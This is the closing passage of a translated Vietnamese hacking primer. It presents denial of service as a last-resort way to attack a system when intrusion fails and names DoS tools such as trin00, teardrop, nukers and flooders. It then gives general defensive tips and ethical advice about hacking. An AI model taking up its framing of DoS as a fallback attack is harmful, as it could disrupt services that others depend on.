Nêu không thành công trong việc xâm nhập, thì DoS là phượng tiên cuối cùng để tấn công hệ thống. Nếu hệ thong không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nũa. Các công cụ hay được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, và các loại nuker, flooder.
Vậy thì làm thế nào để tự bảo vệ?
Nếu bạn là người dùng cuối, bạn có thể hỏi như vậy. Đơn giản là vì không có gì 100% an toàn. Các lỗ hổng mới được tìm ra hàng ngày, các phương pháp mới cũng hình thành sau một đêm. Nhiều khi bạn nghĩ là an toàn, nhưng đến lúc nhận ra là bị xâm phạm thì đã muộn rồi.
Nhưng ở đây cũng có một vài hướng dẫn để bạn có thể tự bảo vệ mình:
Cài đặt firewall tốt và đảm bảo rằng nó được cấu hình chính xác.
Tắt tất cả các ứng dụng và dịch vụ của hệ thống mà bạn không sử dụng.
Không bao giờ mở những file đến từ người lạ.
Cài đặt các chương trinh diệt virus tốt và được cập nhật thường xuyên.
Cài đăt các bản sửa lỗi mới nhất và tham gia vào các hệ thống tin trực tuyến về bảo mật để thong tin được cập nhật kịp thời.
Có một chính sách bảo mật riêng cho mình.
Đảm bảo một hệ thống mạng tốt để tránh rủi ro.
Đầu tư các thiết bị phần cứng bảo mật tốt (money).
Sẽ không có một cuốn Kinh thánh nào về bảo mật cho bạn, tất cả chỉ là những chỉ dẫn phổ thong, nhưng đa phần người dung đã không để ý đến chúng và hâu quả là họ đã bị nguy  hiểm. Không thể chống lại hack được nhưng có thể giảm thiểu được nó :P
Bảo mật không phải là câu chuyện vui. Không có bảo mật  thì các máy tính nối mạng sẽ bị tàn phá, Nhũng lỗ hổng và các công cụ đã được thông báo thì nó sẽ không chỉ là thông báo, mà nó là điềm báo trước điều gì sẽ xảy ra.
Một vài lời khuyên:
Nếu bạn muốn học “Hack” thì còn phải đọc nhiều hơn nữa.
Hacking không chỉ là xâm nhập trái phép vào hệ thống máy tính. Nó còn hơn thế nữa. Nó là là thách thức mà bạn phải trải qua. Giống ngọn núi đối với người leo núi, và người leo núi đã được báo trước về tiềm năng tạo ra sự đau đớn lớn lao cho người khác. Nó không chỉ đơn giản nhu những ví dụ mà tôi đã đề cập đến.
Bất cứ  điều gì về hacking mà bạn đọc được đều có thể được sử dụng với mục đích tốt hay xấu. Tôi khuyên bạn nên xác đinh được mục đích trước khi chạy thử một chương trinh hack nào đó. Trở thành một hacker giỏi cũng không phải là một điều xấu, mà ngược lại nó còn rất tốt vì nhiều lý do. Vì vậy bạn nên cố gắng giúp đỡ những người bạn gặp để trở thành một hacker tốt. Có rất nhiều người không có một khái niệm nào về sự xâm nhập từ bên ngoài vào máy tính của họ.
Tôi cũng khuyên bạn học và học thật tốt một nghề để làm cho hiểu biết được mở rộng. Và luôn luôn, luôn luôn nghĩ đến việc hỗ trợ người khác dù cho bạn có đánh mất cơ hôi để tiến xa hơn.
Tất nhiên đó chỉ là lời khuyên! Hoàn toàn tuỳ thuộc ở bạn.
Đối với riêng tôi, tôi luôn cố gắng mở rộng kiến thức hoặc ít nhất cũng tìm đựơc sự hiểu biết về điều gì đang xảy ra trong thế giới máy tính.
+++ Hết +++

Bài dịch của vnofear